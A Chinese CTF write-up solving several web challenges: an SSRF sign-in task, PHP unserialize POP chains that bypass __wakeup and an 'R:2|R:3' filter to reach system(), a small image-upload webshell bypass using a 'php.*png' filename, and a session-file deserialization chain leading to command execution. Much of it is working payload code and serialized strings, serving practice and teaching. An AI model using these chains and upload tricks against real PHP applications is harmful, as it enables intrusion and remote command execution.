2023-第一届“帕鲁杯”CTF-wp

第一届“帕鲁杯”-CTF应急响应挑战赛

应急响应的题根本做不来 还是学web吧

以后应该不会学密码、misc之类的了

现在的学习路线是先学蓝队这边java安全 溯源什么的

然后大二学红队这边 渗透 内网 re 武器开发之类的

Web-签到

进来

image-20240424191939185

给了源码:

from flask import Flask, request, jsonify
import requests
from flag import flag # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
url = request.args.get('url')
if url:
# 请求url
response = requests.get(url)
content = response.text
print(content)
if "paluctf" in content:
return flag
else:
return content
else:
response = {
'message': 200, # 这里是数值,不是字符串
'data': "Come sign in and get the flag!"
}
return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
return "paluctf"

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0", port=80)

这段代码是一个使用 Flask 框架的 Python Web 应用。它定义了两个路由,一个是根路径 /,另一个是 /flag。以下是代码的详细解释:

  1. 导入模块和函数:
    • Flask: Flask web 框架的核心。
    • request: 用于处理客户端请求数据的对象。
    • jsonify: 用于将字典转换为 JSON 格式响应。
    • requests: 用于发送 HTTP 请求的库。
    • flag: 从 flag.py 文件中导入的函数或变量(代码中未给出 flag.py 的内容,所以我们不知道 flag 的具体内容和类型)。
  2. 初始化 Flask 应用:
    • app = Flask(__name__): 创建一个 Flask web 应用实例。
  3. 定义路由和对应的处理函数:
    • 根路径 /:
      • url = request.args.get('url'): 从 GET 请求的参数中获取 url
      • 如果url存在:
        • 使用 requests.get(url) 发送 GET 请求到这个 url
        • 获取响应的文本内容,并打印它。
        • 检查响应内容中是否包含 “paluctf”。
          • 如果包含,返回 flag
          • 否则,返回响应的文本内容。
      • 如果url不存在:
        • 返回一个 JSON 格式的响应,包含消息和提示数据。
    • /flag 路由:
      • 无论使用 GET 还是 POST 请求,都直接返回字符串 “paluctf”。
  4. 运行 Flask 应用:
    • if __name__ == '__main__':: 确保只有在直接运行这个脚本时,下面的代码才会执行。
    • app.run(debug=True, host="0.0.0.0", port=80): 在 debug 模式下运行 Flask 应用,监听所有可用的 IP 地址(0.0.0.0),并使用默认的 HTTP 端口 80。

注意:

  • 在生产环境中,通常不会使用 debug=True 和端口 80(因为端口 80 通常需要管理员权限),并且应该使用更安全的配置和措施。
  • 如果 flag 是一个函数,那么 return flag 实际上会返回函数的引用,而不是函数的执行结果。如果 flag 应该是一个值或字符串,那么你可能需要确保从 flag.py 中正确导入。
  • 代码中的 print(content) 在生产环境中可能不是最佳实践,因为它会在控制台打印响应内容,这可能会导致敏感信息的泄露。

总之,这段代码是一个简单的 Flask 应用,用于接收一个 URL 作为输入,获取该 URL 的内容,并基于内容中是否包含 “paluctf” 来返回不同的响应。此外,它还提供了一个 /flag 路由,直接返回 “paluctf” 字符串。

访问路由flag:

image-20240424195219369

所以存在一个ssrf

根据源码 随便提交一个url就行 还是要访问flag路由

image-20240424195628975

R23

<?php
show_source(__FILE__);
class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
system($_GET['a']);
}
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
die("no");
}
unserialize($_GET['pop']);

反序列化

明显要绕过__wekeup 最后执行在system

所以:xk–>a–>b

先把链子写出来 这里的类中没有属性 我们自己随便编一下属性就行:

<?php
//show_source(__FILE__);
class a{
// public function __get($a){
// $this->b->love();
// }
}

class b{
// public function __destruct(){
// $tmp = $this->c->name;
// }
// public function __wakeup(){
// $this->c = "no!";
// $this->b = $this->a;
// }
}

class xk{
// public function love(){
// system($_GET['a']);
// }
}

//if(preg_match('/R:2|R:3/',$_GET['pop'])){
// die("no");
//}
$a=new a();
$b=new b();
$xk=new xk();
$a->b=$xk;
$b->c=$a;
echo(serialize($b));
O:1:"b":1:{s:1:"c";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}

再绕过一下__wekeup

序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

所以:

O:1:"b":2:{s:1:"c";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}

但是这里:

还有一个绕过:

if(preg_match('/R:2|R:3/',$_GET['pop'])){
die("no");
}

直接用改属性个数无法绕过 我这里直接没有回显

过滤了R? 没见过

我们需要知道R是怎么来的–>看反序列化的笔记,这里就不赘述了

法1:

根据r与R的来源

这里又禁用了R后的数字2 3

那么我们自然想到让R后面不是2或3就行

问下AI:

class outObject{
public h;
}
class innerObject{
function __destruct(){
system($_POST[a]);
}
$a=new outObject;
$b=new innerObject;
$a->h=$b;
echo(serialize($a));

当然不是对这题来说,放到这题,思路就是我们本来要传的是对象b的序列化字符串,但是如果让b成为另一个类的属性,就会改变R后面的值。由于这里只有三个类,我们不能自己给它加一个类啊,这里我想到了php的原生类,可以直接用的那种,AI说:stdClass:一个空类,没有定义任何方法或属性。于是得到下面的poc:

<?php
//show_source(__FILE__);
class a{

// public function __get($a){
// $this->b->love();
// }
}
class b{
// public function __destruct(){
//
// $tmp = $this->c->name;
// echo('bye');
// var_dump($this->c);
// }
// public function __wakeup(){
////
// $this->c = "no!";
// $this->b = $this->a;
// //var_dump($this->a);
// }
}

class xk{
// public function love(){
// echo('hi');
// system($_GET['a']);
// }
}

$outerObj = new stdClass();
$p=new a;
$q=new b;
$p->b=new xk;
$q->b=&$q->c;
$q->a=$p;
$q->c=$p;
/** @var TYPE_NAME $out */
$out->innerObject[0]=$q;//如果是innerObject=$q;打印出来R后面是3,把它变成数组第一个元素的话R后面就是4
print_r(urlencode(serialize($out)));
O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A11%3A%22innerObject%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A1%3A%22b%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A1%3A%22a%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A2%3A%22xk%22%3A0%3A%7B%7D%7Ds%3A1%3A%22b%22%3BR%3A4%3Bs%3A1%3A%22a%22%3Br%3A4%3B%7D%7D%7D

image-20240424225825627

再cat flag.php 就行

源码中找到flag

image-20240424225946495

法2:

既然不能用改属性个数的方法来绕过 我们就需要一个新方法

利用点为$this->b = $this->a;所以我们可以引用赋值绕过__wakeup()
注:$b->b = &$b->c; 意味着它们引用相同的内存地址,它们指向相同的值

<?php
//show_source(__FILE__);
class a{
// public $b;
// public function __get($a){
// $this->b->love();
// }
}

class b{
// public $a;
// public $b;
// public $c;
// public function __destruct(){
// $tmp = $this->c->name;
// }
// public function __wakeup(){
// $this->c = "no!";
// $this->b = $this->a;
// }
}

class xk{
// public function love(){
// system($_GET['a']);
// }
}
//
//if(preg_match('/R:2|R:3/',$_GET['pop'])){
// die("no");
//}
//unserialize($_GET['pop']);

$a = new a();
$b = new b();
$xk = new xk();

$a->b = $xk;
$b->a = $a;
$b->b = &$b->c;


print_r(serialize($b));
O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}s:1:"c";N;s:1:"b";R:4;}

然后就一样的cat flag.php 在源码中查看就行

image-20240424232303193

image-20240424232323253

法3:

有一个不知道怎么生成的序列化结果是:

O:1:“b”:3:{s:1:“c”;O:1:“a”:1:{s:1:“b”;O:2:“xk”:0:{}}s:1:“b”;R:2;s:1:“a”;r:2;}

这个记过是一个正常绕过的一个

本来是不能绕过的 因为R:2

但是将这个payload改一下就行:

O:1:“b”:3:{s:1:“c”;O:1:“a”:1:{s:1:“b”;O:2:“xk”:0:{}}s:1:“b”;R:02;s:1:“a”;r:2;}

将R:2改为R:02就行

宇宙召唤

来自宇宙深处的呼唤 似乎有个声音一直在你脑中重复 不要回复 不要回复 不要回复

又有一个距离你较近的声音重复 宇宙真理 42 42 42

你似乎想与它交流什么 你们的距离似乎很遥远 只能发送1024字节 不要让它失望 为

什么不理解它的爱

image-20240424233807761

介绍中有提到我们只能传小于等于1024kb的文件 随便上传一个文件看看

随便传一个

image-20240424233848587

并且只能上传文件

如果上传非图片文件提示

image-20240502125657624

ok 只能小于1kb 那必然是上传文件拿webshell 但是我们又只能上传1kb 同时还只能

上传 jpg jpep png 三种格式

还是文件头检测

image-20240424234211642

绕过

如果使用传统的绕过 什么截断啊 type 发现都不行

png里面隐藏图片马,绕过检测,后缀是**php.*png**因为电脑文件名不能出现星号,但是后端应该是把文件名当字符串处理,但是放进目录时因为检测到不合法字符就把星号及其后面的字符截断了,从而生成php文件,拿到flag

image-20240502125916375

image-20240502125933568

上传成功

连蚁剑

image-20240502130010445

my love

<?php

class a{
public function __get($a){
$this->b->love();
}
}

class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}

if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}

}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}

直接给了phpinfo

image-20240424234445664

session反序列化

有路径:

image-20240424235127583

__wakeup绕过一样

pop链:

b->xk

b->a->end

if(preg_match("/N$/",$_GET['test'])){

传入的test要以N结尾

而$_SESSION也是以N结尾

因为没有session_star函数,然后看到($this->func)()可以调用session_star函数

然后看到反序列化可以写文件,不能有. 而session文件也没有

所以:

先将session反序列化写进去,然后反序列化调用session_star的同时插入test为$_SESSION,这样就能执行命令了

$$tmp['name']=='your are good!'这步满足就能执行shell,其中tmp是可控变量,可以利用_SESSION包含session文件
所以主要问题是写入session,需要里面满足name变量的值是your are good!
session默认是按照php的序列化方式,那么先生成一个base64编码过的session方便写入

<?php
session_start();
$_SESSION['name'] = 'your are good!';
echo base64_encode(session_encode());
//bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7

然后利用file_put_contents写入session,根据phpinfo知道session保存的地址/var/lib/php/session

写入session 这里的链子与前面的R23类似,并且不需要绕过R:2 R:3所以直接写就行了

<?php
class a{
}
class b{
}
class xk{
}
class end{
}
$x=new xk();
$x->man='/var/lib/php/session/sess_1';
$x->woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=$x;
echo serialize($s);
//O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}}

先提交一下pop将session写入
然后构造启用session的链,用session_start函数启用session

<?php
class a{
}
class b{
}
class xk{
}
class end{
}
$x=new end();
$x->func='session_start';

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=$x;
echo serialize($s);
//O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}}

然后加上test参数和shell进行rce,在请求包里面加上cookie

image-20240502131108071